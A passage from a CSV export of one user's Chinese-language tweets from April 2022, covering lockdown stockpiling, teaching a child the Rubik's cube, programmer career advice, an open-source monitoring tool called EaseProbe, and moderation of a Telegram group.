我跟我家孩子都不知道。反正我们家孩子说了，这个小男生就喜欢跟小伙伴们讲这些东西，大家都听不懂……😂,,https://twitter.com/haoel/status/1519302845589123073\n2024,1519276911637106688,2022-04-27 11:26:57+00:00,5,0,4,,@wu_xiaoshun 不知道，我们家孩子也不知道……,,https://twitter.com/haoel/status/1519276911637106688\n2025,1519273707658645504,2022-04-27 11:14:13+00:00,1,0,0,,@MJxRSDlhiwFsxSt 你是眼睛花了吗？,,https://twitter.com/haoel/status/1519273707658645504\n2026,1519272850498088961,2022-04-27 11:10:48+00:00,59,0,7,,@songma 马老师，你看书多，这个五年级孩子里面说的这些故事都对吗？,,https://twitter.com/haoel/status/1519272850498088961\n2027,1519270097566650369,2022-04-27 10:59:52+00:00,1025,138,141,,一个五年级的小男生给我家孩子递了三张纸，我还以为是情书……看完后，我向孩子再三确认了不是抄的，孩子还说，平时他老跟说这些大家都听不懂的东西……（给大家鉴赏一下吧） https://t.co/ek0DYFcSzO,,https://twitter.com/haoel/status/1519270097566650369\n2028,1519254566906122240,2022-04-27 09:58:09+00:00,2,0,1,,@yayjsir 你对股份制公司是否理解，另外，在你回复前，是否可以多做调查研究？ https://t.co/f5j06fNT7p,,https://twitter.com/haoel/status/1519254566906122240\n2029,1519184528639545344,2022-04-27 05:19:51+00:00,136,14,10,,是的，过去三年，我每年夏天都去，今年夏天应该还会去……,,https://twitter.com/haoel/status/1519184528639545344\n2030,1519182641022443520,2022-04-27 05:12:21+00:00,3,0,3,,@tinyfool @YouTube 你来北京我请你吃饭啊……,,https://twitter.com/haoel/status/1519182641022443520\n2031,1519168719473176577,2022-04-27 04:17:02+00:00,1,1,0,,@xxxx304567xxz 在这件事上，我倒是喜欢我被打脸。但是，那边一定会有要求的，毕竟中国是马一龙第二大的市场，而且tesla的电池是国内供应的……,,https://twitter.com/haoel/status/1519168719473176577\n2032,1519110519944146944,2022-04-27 00:25:46+00:00,193,18,27,,\"其实，我还是挺期待推特私有化后，上线如下这些功能，看看世界人民会怎么样的反应……🤟🏻\n\n用其他字符代替敏感词\nGithub等网站的链接发不出来\n无法评论和转发\n此内容因违规无法查看\n推主已开启的精选评论\n无法查看的图片\n推特话题未予显示\n此视频已被删除\n该用户处于禁言状态\n部分内容暂不显示 https://t.co/QVTr2ZdZsL\",,https://twitter.com/haoel/status/1519110519944146944\n2033,1518448701726810112,2022-04-25 04:35:56+00:00,48,4,5,,@songma 嗯，我主要用来测试供应链的能力。如果连京东这种能力在北京的主场供应链都出问题了，那么就会是一个很大的问题了，其他的玩家估计更没法玩……所以，还要多搞点了……,,https://twitter.com/haoel/status/1518448701726810112\n2034,1518446655544041472,2022-04-25 04:27:48+00:00,319,25,43,,我估计京东已经爆单了，前天23日看“已传播一周”新闻时，当天在京东下了5单，第二天24日上午全部都到了。昨天，看到搬超市，为了测试物流能力（决定是否再多囤点），我24日晚在对京东自营商品又下了4单（生鲜，零食，生活用品），到现在25日中午了，所有的订单的状态都还没有出库……我有丝不祥的感觉…,,https://twitter.com/haoel/status/1518446655544041472\n2035,1518221137582252040,2022-04-24 13:31:41+00:00,0,0,4,,@wu_xiaoshun 我家冰箱都是满了，抢了也放不下了……,,https://twitter.com/haoel/status/1518221137582252040\n2036,1518220987594010624,2022-04-24 13:31:05+00:00,67,2,13,,@gaodaniel 是的，15盒午餐肉，20包方便面，火腿肠三包，10把米线，40把荞麦面，一桶油，20公斤米，5公斤肉，2箱牛奶，一箱苏打水，一箱可乐，50个鸡蛋……冰箱已经满了……,,https://twitter.com/haoel/status/1518220987594010624\n2037,1518218325733511169,2022-04-24 13:20:30+00:00,336,39,48,,下楼散个步，发现邻居们开始拥进小区的华联超市，开始抢搬东西了……测核酸的棚子也搭起来了……😓 https://t.co/aJ3V1XWD1S,,https://twitter.com/haoel/status/1518218325733511169\n2038,1517532734951804929,2022-04-22 15:56:13+00:00,782,67,31,,从来不看朋友圈的我，今天也浏览一下朋友圈里的《四月之声》接力刷屏，这样对删除内容刷屏的现象似乎好久不见了，这是让我觉得世界还是有值得期待和令人温暖的地方……正如电影《七宗罪》最后的那句我记一辈子的台词所说——“海明威曾说过：‘世界很美好，值得我们去奋斗’，我相信后半句……”,,https://twitter.com/haoel/status/1517532734951804929\n2039,1517316436309340161,2022-04-22 01:36:43+00:00,0,0,0,,@Nakayamaqs AWS生态上有太多这样的事了，还有各种协会作工具的插件和增强,,https://twitter.com/haoel/status/1517316436309340161\n2040,1517168264438112257,2022-04-21 15:47:56+00:00,0,0,1,,@supersu097 哇，这个听起来好复杂。,,https://twitter.com/haoel/status/1517168264438112257\n2041,1517168130052661251,2022-04-21 15:47:24+00:00,0,0,0,,@che9795 嗯，是个好的想法，要不你帮我写一个issue,,https://twitter.com/haoel/status/1517168130052661251\n2042,1517166677103837184,2022-04-21 15:41:38+00:00,76,0,3,,@wD0bhyGaOrjnkzo 你这不是理财，也就是碰运气罢了……,,https://twitter.com/haoel/status/1517166677103837184\n2043,1517163813790830592,2022-04-21 15:30:15+00:00,684,68,8,,个人方面，要学会放大自己的价值，高级人才在35岁后的价值不在大公司里，而是中小型在高速成长求贤若可的公司，看看这些后浪公司要解决什么样的问题，再观察一下前浪的关键技术，你就知道你要什么样的技能了……然后，你要思考的是低成本性价比高的解决方案，大多时候，低成本方案会成为最终的胜者……,,https://twitter.com/haoel/status/1517163813790830592\n2044,1517163812083802113,2022-04-21 15:30:14+00:00,445,44,10,,软件方面，我非常建议做多人协作的订阅制产品，因为用户的沉默成本更大。同时，我也非常推荐能够在某成功建康商化业的PaaS/SaaS 的 Marketplace生态里做add-ons或增强，这就是所谓的“小而美”的事，另外，最好能做全球化英文版的，因为，开放和自由从来都是商业化的温床，通过开源或社区建团队最佳……,,https://twitter.com/haoel/status/1517163812083802113\n2045,1517163810196402176,2022-04-21 15:30:14+00:00,3442,578,62,,程序员要想做点副业，千万不要做外包项目，更不要做那些不入流的事，一定要做那种有积累有沉淀的东西，无论是写代码，做咨询，还是做写文章等，一定一定要系统化！你每天都在为你的城堡加一块砖，只有这样才能成为资产。另外，强烈建议工匠的方式做事，因为只有这样，“基础”和“副产品”才会变得可观……,,https://twitter.com/haoel/status/1517163810196402176\n2046,1517096263484723200,2022-04-21 11:01:50+00:00,2,0,3,,@wuyuesanren 我们身高一样啊，我现在185斤，最轻的时候是130斤,,https://twitter.com/haoel/status/1517096263484723200\n2047,1517071209929707520,2022-04-21 09:22:16+00:00,0,0,1,,\"@Villm_3 这个已经有很多了，都是以native client的方式，目前支持：MySQL, Redis, Kafka, MongoDB, PostgreSQL, Zookeeper.\",,https://twitter.com/haoel/status/1517071209929707520\n2048,1517067650383290369,2022-04-21 09:08:08+00:00,0,0,0,,@nullsimon 贡献回来嘛,,https://twitter.com/haoel/status/1517067650383290369\n2049,1517067561287831552,2022-04-21 09:07:47+00:00,0,0,0,,@nothingsbigj 没有，还很简单,,https://twitter.com/haoel/status/1517067561287831552\n2050,1517009475747532800,2022-04-21 05:16:58+00:00,148,33,7,,这个EaseProbe（https://t.co/2u86sC8zZ6）的Standalone探活小工具开源后，基友们帮贡献了企业微信，钉钉和飞书的通知，我加了SSH（支持跳板机），和SSH到远程服务器上探测CPU/内存/硬盘空间使用率的功能。现在支持如下的这些探活和通知方式。大家还有没有什么需求，大家说说看…… https://t.co/oCHFqA6pVS,\"[TextLink(text='github.com/megaease/easep…', url='https://github.com/megaease/easeprobe', tcourl='https://t.co/2u86sC8zZ6', indices=(12, 35))]\",https://twitter.com/haoel/status/1517009475747532800\n2051,1516977818416017408,2022-04-21 03:11:10+00:00,1,0,1,,@EnzoCoder 你是不是搜完全网后只发现知乎这篇文章？😉,,https://twitter.com/haoel/status/1516977818416017408\n2052,1516755945082089477,2022-04-20 12:29:31+00:00,0,0,2,,@EnzoCoder 一样损伤肾脏,,https://twitter.com/haoel/status/1516755945082089477\n2053,1516709737907195906,2022-04-20 09:25:55+00:00,48,4,26,,发现我家有连花清瘟，看了下成分，常见的中药都在了，还有鱼腥草…… https://t.co/e6avpTBPMg,,https://twitter.com/haoel/status/1516709737907195906\n2054,1516649066083454978,2022-04-20 05:24:49+00:00,0,0,0,,@Rain96814721 好的,,https://twitter.com/haoel/status/1516649066083454978\n2055,1516648935405752324,2022-04-20 05:24:18+00:00,1,0,2,,@nisiyong 哈哈，我看的就是这个视频。,,https://twitter.com/haoel/status/1516648935405752324\n2056,1516647977158279169,2022-04-20 05:20:30+00:00,114,1,5,,对了，忘了说明，我教她的不是死背公式，而是通过原理和方法自行推导F2L的那40多个公式……快乐的源泉不是找到答案，而是找到一通百通的方法……,,https://twitter.com/haoel/status/1516647977158279169\n2057,1516647189904191488,2022-04-20 05:17:22+00:00,0,0,0,,@tinyfool 我俩殊途同归，我用complex一语双关,,https://twitter.com/haoel/status/1516647189904191488\n2058,1516646701569740804,2022-04-20 05:15:26+00:00,10,0,2,,@tinyfool 我觉得应该是：complex office，因为不是自治机构，本质上还是政府机构,,https://twitter.com/haoel/status/1516646701569740804\n2059,1516645163203846144,2022-04-20 05:09:19+00:00,217,14,9,,前几天我家娃对魔方CFOP入迷到了极点，周六自己研究F2L到了晚上23点，我问有没有学懂，她说B站的视频一个都看不懂。昨天下班回家发现她下楼玩了，我找了个英文教程理解了下原理，等她玩回来后，我就现学现卖，把她教会的同时我也会了，我俩都很开心。所以，掌握方法解决难题是分泌多巴胺的有效途径……,,https://twitter.com/haoel/status/1516645163203846144\n2060,1516338810992295938,2022-04-19 08:51:59+00:00,0,0,0,,@lyricwai @keaising 说来听听……,,https://twitter.com/haoel/status/1516338810992295938\n2061,1516335562226999298,2022-04-19 08:39:04+00:00,104,3,19,,礼貌待人…… https://t.co/fV34jWE62N,,https://twitter.com/haoel/status/1516335562226999298\n2062,1516168132032811009,2022-04-18 21:33:46+00:00,4,0,4,,@tinyfool 哈哈，我应该适合摸电门自杀那种,,https://twitter.com/haoel/status/1516168132032811009\n2063,1516055544359923712,2022-04-18 14:06:23+00:00,22,0,2,,@songma 偷着乐吧,,https://twitter.com/haoel/status/1516055544359923712\n2064,1516052646104211461,2022-04-18 13:54:52+00:00,144,0,19,,@tinyfool 你都爬不上窗台，你还是适合开媒气……,,https://twitter.com/haoel/status/1516052646104211461\n2065,1515702731637506052,2022-04-17 14:44:26+00:00,11,0,1,,@ousinu 我觉的一个个体很难跟大势抗衡，想想战争，文革，下岗……时代的一粒沙落下来就是一座山……任何事情都不只有一个答案，天时地利人和都重要！,,https://twitter.com/haoel/status/1515702731637506052\n2066,1515607520303222784,2022-04-17 08:26:06+00:00,23,0,1,,Zoom视频录制的分辨率只有640x480，大家多多担待。,,https://twitter.com/haoel/status/1515607520303222784\n2067,1515607222528602115,2022-04-17 08:24:55+00:00,238,22,12,,今天上午跟tinyfool聊了一下我父辈归国华侨的人生。我对他们那代人是非常敬佩的，经历过各种的挫折和磨难，但是他们都还是走下来了，他们的经历对我是有很大的影响，借这个机会跟大家说说。因为时间关系只能简单聊一聊，未来有机会可以详细说一说。https://t.co/quM5sarxIh,\"[TextLink(text='youtu.be/113MNq_n9mI', url='https://youtu.be/113MNq_n9mI', tcourl='https://t.co/quM5sarxIh', indices=(119, 142))]\",https://twitter.com/haoel/status/1515607222528602115\n2068,1515576199543615497,2022-04-17 06:21:38+00:00,6,0,0,,@nishuang 这些欧美的硬核摇滚我也很喜欢……,,https://twitter.com/haoel/status/1515576199543615497\n2069,1515312306468515842,2022-04-16 12:53:01+00:00,119,8,16,,\"对最后那个思维模式，真实感受太深了。现在无论用什么语言，只要写业务代码，都会是浓浓的Java味，没有Model, Service, Controller 就感觉浑身难受……\",,https://twitter.com/haoel/status/1515312306468515842\n2070,1515308045869350913,2022-04-16 12:36:05+00:00,789,180,24,,“我的语言之局限，即我的世界之局限。” 一一Ludwig Wittgenstein ( 1889-1951) https://t.co/TRW0PxyRYj,,https://twitter.com/haoel/status/1515308045869350913\n2071,1515158662918017027,2022-04-16 02:42:30+00:00,674,93,25,,这两天看到芬兰和瑞典这两个“闺蜜国”因为乌克兰战争考虑加入北约，因为团队里有个芬兰的小伙，于是，顺手查了下芬兰的领导人，全女性，平均年龄37岁，总理85年出生，全世界独一无二，实在太Cool，《神奇女侠》既视感。芬兰的抗疫还是很成功的人口550万，新冠病死人数370多人，死亡率十万分之六…… https://t.co/xS7jPawpEx,,https://twitter.com/haoel/status/1515158662918017027\n2072,1514983093194481669,2022-04-15 15:04:51+00:00,7,0,1,,@ikarus2k20 妥协才是老的表现，年轻都是判逆……,,https://twitter.com/haoel/status/1514983093194481669\n2073,1514971283443781638,2022-04-15 14:17:55+00:00,0,0,0,,@DGiaken 嗯，五笔，打的过于自信了……Sorry,,https://twitter.com/haoel/status/1514971283443781638\n2074,1514971177554374657,2022-04-15 14:17:30+00:00,7,0,0,,s/播滚/摇滚/g,,https://twitter.com/haoel/status/1514971177554374657\n2075,1514965194509742089,2022-04-15 13:53:43+00:00,1,0,0,,@JinjingNgo 😂😂😂,,https://twitter.com/haoel/status/1514965194509742089\n2076,1514965074300981248,2022-04-15 13:53:15+00:00,33,1,2,,\"不知道他会不唱《红旗下的蛋》\n\n红旗还在飘扬\n没有固定方向\n革命还在继续\n老头儿更有力量\n\n钱在空中飘荡\n我们没有理想\n虽然空气新鲜\n可看不见更远地方\n\n虽然机会到了\n可胆量还是太小\n我们的个性都是圆的\n象红旗下的蛋\",,https://twitter.com/haoel/status/1514965074300981248\n2077,1514962016967880706,2022-04-15 13:41:06+00:00,143,1,15,,\"“我要从南走到北……”\n61岁了还在摇滚的老头……\n\nP.S. 这种竖屏直播的演唱会，正好边review code 边看，窗口排列很舒服…… https://t.co/Qi9Sb8Emis\",,https://twitter.com/haoel/status/1514962016967880706\n2078,1514953323169792003,2022-04-15 13:06:33+00:00,248,11,19,,收到图灵寄来的 On Java，上次读Bruce 的 Think in Java 还是二十年前，久违了…… https://t.co/Q6Mx4xPDbr,,https://twitter.com/haoel/status/1514953323169792003\n2079,1514941710979067906,2022-04-15 12:20:24+00:00,1,0,0,,@Whoissaid 对的,,https://twitter.com/haoel/status/1514941710979067906\n2080,1514926718825340929,2022-04-15 11:20:50+00:00,1,1,2,,@han_hanmouzhong 有一些，但是整个家族都散了，我爸的那两兄弟都已过世。我这一辈的人，因为没有交流，所以基本都不认识。,,https://twitter.com/haoel/status/1514926718825340929\n2081,1514923762059079681,2022-04-15 11:09:05+00:00,2,1,0,,@Ni1ncLD3hixM4cC @kenwong__ 印尼那边有很多岛的，我也有在的那个岛还行。国内也比较凶险，一个是文革，一个是下岗……,,https://twitter.com/haoel/status/1514923762059079681\n2082,1514922798044442628,2022-04-15 11:05:15+00:00,141,8,9,,既然大家喜欢我就再多说一些。开始是我姑姑受到海外宣传特别想回国，我爷爷是不让的，但是我姑姑还是要走，我爷爷不放心，问我爸他们哥仨，谁想跟着回去？我爸心想，回国没人管太爽了，还可以做大轮船，想都没想就跟着回了……而等到再见面的时候，已是1993年了（因为输出革命失败，断交了好几年）……,,https://twitter.com/haoel/status/1514922798044442628\n2083,1514918636124708864,2022-04-15 10:48:43+00:00,186,8,18,,补充一下。我爷爷在解放前救过几个红军战士，然后被举报后，遭到国民党通辑，然后，逃命时上了一艘到南洋的船到了印尼，在当地找了个中国人成家。解放后，因为宣传后回国，结果遇到了文革，文革期间，需要说明自己的身份，我爷爷还专门写信说明以前怎么帮助红军的，才得以保全……,,https://twitter.com/haoel/status/1514918636124708864\n2084,1514912788891635714,2022-04-15 10:25:29+00:00,1332,151,60,,我爸今天找到了他学生时代的中国护照，1960年的，护照有中俄英三语，繁体中文，算是文物了，给大家看看…… https://t.co/klbKK2Xfcd,,https://twitter.com/haoel/status/1514912788891635714\n2085,1514827645581635584,2022-04-15 04:47:09+00:00,64,5,3,,太会玩梗了……,,https://twitter.com/haoel/status/1514827645581635584\n2086,1514751665097781250,2022-04-14 23:45:14+00:00,0,0,1,,@nisiyong 可以分享一下anki记忆卡么,,https://twitter.com/haoel/status/1514751665097781250\n2087,1514601302596075523,2022-04-14 13:47:45+00:00,0,0,1,,@tinyfool 虽然不愿意承认，但是的确不行了……,,https://twitter.com/haoel/status/1514601302596075523\n2088,1514599134967177216,2022-04-14 13:39:08+00:00,81,0,5,,2019年，为了减压开始学着玩魔方。从七步还原法到CFOP，然而我无论怎么样都不够快，都要三分钟左右。后来教娃入门的七步还原法，娃到今天只用这种入门的玩法，练到了40秒以内，我看她玩得真是飞快。然后她开始教我怎么用指头快速转魔方，练了30分钟，第一次感觉到了年龄大了，手脚的确快不了……😵‍💫😵‍💫,,https://twitter.com/haoel/status/1514599134967177216\n2089,1514593022863835136,2022-04-14 13:14:51+00:00,46,1,14,,娃回来缠着我撒娇说，非要买个GAN的磁力魔方，说我之前买的非磁力魔方（也是GAN）不顺滑，影响手速……我上网一看，这价格吓死我了…… https://t.co/38FU1pm1G3,,https://twitter.com/haoel/status/1514593022863835136\n2090,1514567528357384195,2022-04-14 11:33:32+00:00,1,0,2,,@kevinzhow 居然没有妹子？,,https://twitter.com/haoel/status/1514567528357384195\n2091,1514539382589513728,2022-04-14 09:41:42+00:00,1,0,0,,@kevinzhow 嗯，我想也是。,,https://twitter.com/haoel/status/1514539382589513728\n2092,1514538682186756099,2022-04-14 09:38:55+00:00,0,0,2,,@kongfei605 所以，最好的方式还是要重装，是吧。,,https://twitter.com/haoel/status/1514538682186756099\n2093,1514538357396672512,2022-04-14 09:37:37+00:00,77,10,21,,\"因为有人来给EaseProbe贡献飞书通知的代码，发现无论成功失败全是200，要打开resp body来查看自定义的状态码。于是，我好奇看了一下飞书的错误码文档：https://t.co/1C5tJT9BC6 太可怕了，相同的错误（如：参数错，或是权限错）定义了几十个，错误是抓到什么用什么，真是\"\"一把梭\"\" 的典范！服了……\",\"[TextLink(text='open.feishu.cn/document/ukTMu…', url='https://open.feishu.cn/document/ukTMukTMukTM/ugjM14COyUjL4ITN', tcourl='https://t.co/1C5tJT9BC6', indices=(81, 104))]\",https://twitter.com/haoel/status/1514538357396672512\n2094,1514460251445030913,2022-04-14 04:27:15+00:00,0,0,1,,@leezicai 好像只有你回答了我的部分问题，谢谢！,,https://twitter.com/haoel/status/1514460251445030913\n2095,1514459875295735811,2022-04-14 04:25:46+00:00,2,0,5,,@supersu097 那么minikube跑不起来了,,https://twitter.com/haoel/status/1514459875295735811\n2096,1514448656069390336,2022-04-14 03:41:11+00:00,4,0,5,,@ximigen rosetta转译运行靠谱吗？,,https://twitter.com/haoel/status/1514448656069390336\n2097,1514447488291270661,2022-04-14 03:36:32+00:00,115,11,54,,\"问个问题，如果我买了M1的苹果电脑，要从老的Intel的苹果电脑向M1做“迁移”，是不是只能迁移数据？所有的我安装的程序都迁不过去了？都需要全部重新安装配置一遍了？这其中包括不限于：zsh和各种插件, brew安装的所有的程序，npm/maven/golang/rust等的程序包，自己购买/安装的程序（如：翻墙工具等）…\",,https://twitter.com/haoel/status/1514447488291270661\n2098,1514402088247173121,2022-04-14 00:36:08+00:00,2,0,0,,@uuid_uuid @TheLROC @spencer_sanmao 跟我一样，搬瓦工,,https://twitter.com/haoel/status/1514402088247173121\n2099,1514246341383241736,2022-04-13 14:17:15+00:00,2,0,0,,@bigbrother19X4 你记错了，我没有写过。如果我写的话，我只会写一句话：用英文搜。,,https://twitter.com/haoel/status/1514246341383241736\n2100,1514245966043357190,2022-04-13 14:15:46+00:00,2,0,1,,@Aspirin_Ray 当然，只要符合群规，不相关的我都删，但是你们基本都是键政！娱乐八卦，体育的真的还没有。老实说，我实在不知道你到底想要从我这里找什么？没关系，我们谈不到一起，不必非要谈，我一会儿会把你拉黑，对你我都好。,,https://twitter.com/haoel/status/1514245966043357190\n2101,1514195295269122052,2022-04-13 10:54:25+00:00,0,0,0,,@lengxuegang 你看我twitter置顶,,https://twitter.com/haoel/status/1514195295269122052\n2102,1514160951410319364,2022-04-13 08:37:57+00:00,34,2,12,,telegram 里有一堆这样的键政群，他们不是找不到，而是因为我的这个群有2万人左右，人数多，所以，在这里发言可以有更多的受众，他们就是要找人多的地方……,,https://twitter.com/haoel/status/1514160951410319364\n2103,1514159480560267264,2022-04-13 08:32:06+00:00,3,0,1,,@KGEK18 对的！,,https://twitter.com/haoel/status/1514159480560267264\n2104,1514155054160220164,2022-04-13 08:14:31+00:00,63,1,6,,我从来不反对关心政治的人，相反，我其实挺支持每个人都关心社会时事，关心政治，关心天下大事。但是，这个群的目的是让程序员分享资料的，不是谈天说地的， 仅此而已。如果你觉得这个群里可以聊天娱乐八卦，可以聊妹子，可以灌水，……你来试试看看。,,https://twitter.com/haoel/status/1514155054160220164\n2105,1514149403593895936,2022-04-13 07:52:04+00:00,8,0,1,,@Aspirin_Ray 让你不在非厕所的地方上厕所，算不算是限制你的自由？这个逻辑很难吗？,,https://twitter.com/haoel/status/1514149403593895936\n2106,1514148161563942915,2022-04-13 07:47:07+00:00,1,0,0,,@Christo24717475 你的理解是对的，就是前者。,,https://twitter.com/haoel/status/1514148161563942915\n2107,1514130639422832640,2022-04-13 06:37:30+00:00,3,0,0,,@kitaconoha @rorbeeper @FilonHon 不是不让你不拉屎，是让你不在客厅和卧室里拉屎，这个逻辑很难理解吗？,,https://twitter.com/haoel/status/1514130639422832640\n2108,1514109224548139010,2022-04-13 05:12:24+00:00,2,0,0,,\"@0xCryptoSea 实说实说，开车的时候，我一般都用Siri，我会这样用（非常好用，根本不用碰手机）：\n我： Siri，给XXX发微信\nSiri：你要发什么？\n我： blablabla\nSiri：准备要发送 blabla\n我：是的\",,https://twitter.com/haoel/status/1514109224548139010\n2109,1514108291319693313,2022-04-13 05:08:42+00:00,0,0,1,,@0xCryptoSea 对了，为什么会想发语音？语音怎么搜索？,,https://twitter.com/haoel/status/1514108291319693313\n2110,1514107678066237447,2022-04-13 05:06:15+00:00,1,0,1,,@0xCryptoSea 老实说，telegram的搜索才是废的……,,https://twitter.com/haoel/status/1514107678066237447\n2111,1514107373064916997,2022-04-13 05:05:03+00:00,285,10,41,,总是会有一些人在我建的“程序员资源分享”Telegram群里键政，我删除了，又来用“程序员不能脱离时事政治”来说事。不在一个用于“分享技术资料的群”里键政，就是脱离时事了么？每个群有每个群的主题和目的，你在体育频道里看不到社会新闻，就能说明运动员脱离时事和政治了吗？这个逻辑能有这么难吗？,,https://twitter.com/haoel/status/1514107373064916997\n2112,1514101831693004804,2022-04-13 04:43:01+00:00,13,0,1,,@0xCryptoSea telegram换成Slack/Discord就完美了,,https://twitter.com/haoel/status/1514101831693004804\n2113,1514064419273072642,2022-04-13 02:14:22+00:00,194,17,19,,这个体重下降的程度，感觉已经跟《荒野独居》节目里的情况差不多了…… https://t.co/q47DkTdu3c,,https://twitter.com/haoel/status/1514064419273072642\n2114,1514060453713829890,2022-04-13 01:58:36+00:00,0,0,2,,@shell909090 这么一说，我都想来上海加入你们了……,,https://twitter.com/haoel/status/1514060453713829890\n2115,1514028286023659520,2022-04-12 23:50:47+00:00,521,129,22,,BGM theme https://t.co/rD1TucLdYA,,https://twitter.com/haoel/status/1514028286023659520\n2116,1514016618665324546,2022-04-12 23:04:25+00:00,49,3,0,,\"Deploy a k8s application with configmap, service, secret, ingress, persistent volume…\n\nRun a Rust program without unsafe…\",,https://twitter.com/haoel/status/1514016618665324546\n2117,1513735227717259264,2022-04-12 04:26:16+00:00,59,0,0,,@DashHuang 从动物园变成野生动园了,,https://twitter.com/haoel/status/1513735227717259264\n2118,1513139096159358983,2022-04-10 12:57:27+00:00,0,0,0,,@Lucius_Chen 有的,,https://twitter.com/haoel/status/1513139096159358983\n2119,1513083288226721793,2022-04-10 09:15:42+00:00,0,0,1,,@Artoria2e5 @shuilovesbooks 直接到文档里修改建议就好。,,https://twitter.com/haoel/status/1513083288226721793\n2120,1513052960657272834,2022-04-10 07:15:11+00:00,68,3,27,,一下拥入了很多人来编辑，现在已经差不多成形了。我感觉大家都是开小卖部的能手啊！另外，为什么非常时期了还要囤咖啡？尤其还有人提出要囤咖啡豆 ……😂,,https://twitter.com/haoel/status/1513052960657272834\n2121,1513035117656096769,2022-04-10 06:04:17+00:00,1559,634,61,,根据 @shuilovesbooks 分享的囤货列表，做了个谷歌文档《非常时期囤货手册》，欢迎大家一起来完善。https://t.co/cUrVZPNzbB,\"[TextLink(text='docs.google.com/document/d/1-c…', url='https://docs.google.com/document/d/1-c93ax4Uog_CHTOLBKpKLNCUtZYwacGbXm8OP3Fh810/edit?usp=sharing', tcourl='https://t.co/cUrVZPNzbB', indices=(55, 78))]\",https://twitter.com/haoel/status/1513035117656096769\n2122,1513034555476774912,2022-04-10 06:02:03+00:00,224,84,10,,@shuilovesbooks 做了个谷歌文档，欢迎大家一起来完善。https://t.co/cUrVZPNzbB,\"[TextLink(text='docs.google.com/document/d/1-c…', url='https://docs.google.com/document/d/1-c93ax4Uog_CHTOLBKpKLNCUtZYwacGbXm8OP3Fh810/edit?usp=sharing', tcourl='https://t.co/cUrVZPNzbB', indices=(34, 57))]\",https://twitter.com/haoel/status/1513034555476774912\n2123,1512666487953129478,2022-04-09 05:39:29+00:00,0,0,1,,@yangerlanginfo 所以，国内的视野还不够大,,https://twitter.com/haoel/status/1512666487953129478\n2124,1512583036562337796,2022-04-09 00:07:53+00:00,1,0,1,,@tinyfool @YouTube 你还挺快,,https://twitter.com/haoel/status/1512583036562337796\n2125,1512474635337564163,2022-04-08 16:57:08+00:00,759,161,9,,\"昨晚在线上聊天，说起有价值的事情，更多的在于产出性的工作，而不是支持性的工作。判断自己技术工作是否具有产出性，不妨问自己三个问题：\n\n事情无论大小\n1）我是否简化了什么？\n2）我是否自动化了什么事？\n3）我是否对外输出了什么？\n\n一代表进步和创造力\n二代表效率和生产力\n三代表引领和影响力\",,https://twitter.com/haoel/status/1512474635337564163\n2126,1512469819584495629,2022-04-08 16:37:59+00:00,0,0,1,,@YanceyOfficial @DumplingRusty @fancylea @yuxiyou 看来是墙内日子过的很爽,,https://twitter.com/haoel/status/1512469819584495629\n2127,1512420993582596100,2022-04-08 13:23:58+00:00,7,0,1,,@nishuang 在我看来完全不知道，要分享什么数据出去，也不知道为什么要分享？所以，整个界面没有起到很好的引导用户的作用……感觉是站在自己的角度，而不是站在用户的角度……,,https://twitter.com/haoel/status/1512420993582596100\n2128,1512414814903042048,2022-04-08 12:59:25+00:00,58,4,5,,@fancylea @yuxiyou 想家的时候就多上上微博，马上就可以缓解你们的思乡之情了……如果是工程师的话就到国内开几服务器，试着安装一下k8s……就更能缓解你们海外华人的思乡之情了……,,https://twitter.com/haoel/status/1512414814903042048\n2129,1512281114055876621,2022-04-08 04:08:09+00:00,27,0,1,,@cloudwu 这么看来，你儿子应该会是一个细致的人，一个需要把任何事都要搞明白的人。挺好的。,,https://twitter.com/haoel/status/1512281114055876621\n2130,1512067081398673415,2022-04-07 13:57:39+00:00,104,15,0,,在这个探活的小项目中，把go抽象代码的方式用了遍：1）用函数式实现Retry函数，2）用泛型写了个Default，Global 和 Local 三种设置的normalize函数。3）使用反射的方式遍历结构体中的实现了某接口的成员。4）用Embed结构方式实现了整个Notify的框架（go没继承没虚函数真不爽） https://t.co/2u86sC8zZ6,\"[TextLink(text='github.com/megaease/easep…', url='https://github.com/megaease/easeprobe', tcourl='https://t.co/2u86sC8zZ6', indices=(156, 179))]\",https://twitter.com/haoel/status/1512067081398673415\n2131,1511701555921129479,2022-04-06 13:45:11+00:00,19,1,0,,新版本发布了，主要是支持动态profiling开关，并且有一些小的增强。P.S. 预告一下，我们正在进行一个大的重构，重构完后，Easegress会更为的强大和灵活……,,https://twitter.com/haoel/status/1511701555921129479\n2132,1511696542045904898,2022-04-06 13:25:16+00:00,33,3,0,,@waylybaye “有光的时候他就亮，没光的时候他绝对不亮” ？？！！ https://t.co/ps5Iwgid9V,,https://twitter.com/haoel/status/1511696542045904898\n2133,1511688226443915268,2022-04-06 12:52:13+00:00,0,0,0,,@nyckimchi 😂,,https://twitter.com/haoel/status/1511688226443915268\n2134,1511687796947238913,2022-04-06 12:50:31+00:00,29,0,14,,下午我想新增几个文件到“文档”目录时发生异常，于是只好跟iCloud断开，然后再同步回来。发现，iCloud先从云端下载所有文件（图一），然后再把本地的“文档”与下载的文件比较后再上传（图二），我iCloud还是在美区，虽然没被墙，但挂上梯子更快。等干完后，发现我下午新增的文件都没了，这算法咋写的…… https://t.co/5qXyyNg91s,,https://twitter.com/haoel/status/1511687796947238913\n2135,1511684611843133442,2022-04-06 12:37:51+00:00,126,28,29,,这么多人，目的是把货卸到20米之外！暂且不说车往后倒20米的事。这么多人，就算不会开车，你们也可以一起把车往后推20米的……,,https://twitter.com/haoel/status/1511684611843133442\n2136,1511682158556942339,2022-04-06 12:28:06+00:00,17,1,1,,@kenwong__ 又想起我这推了,,https://twitter.com/haoel/status/1511682158556942339\n2137,1511676539171061763,2022-04-06 12:05:47+00:00,0,0,0,,@david68123 这个事情既在电影里也在史料里，你难道不会自己去搜索一下吗？,,https://twitter.com/haoel/status/1511676539171061763\n2138,1511336902489563139,2022-04-05 13:36:11+00:00,60,4,5,,谋全局太累了。还是走一步看一步轻松，跟互联网公司一样，KPI优先，屁股决定脑袋，人海战术，糙块猛，一把梭，快速迭代，先上线再说……,,https://twitter.com/haoel/status/1511336902489563139\n2139,1511303181833175042,2022-04-05 11:22:11+00:00,46,2,3,,@keye3stone 你可以说我历史资料看少了。但你加了个“只能说……”。这是不是你喜欢的交流方式？在谈论之前，先说点评一下对方的知识量够不够？如果你想找到你的优越感的话，我建议你应该把你知道的更多的东西写出来，而不是说别人看资料看少了……因为后者会令人生厌……（p.s.绝大多数人对历史的了解都教科书上）,,https://twitter.com/haoel/status/1511303181833175042\n2140,1511302309329862660,2022-04-05 11:18:43+00:00,0,0,2,,@yl072414 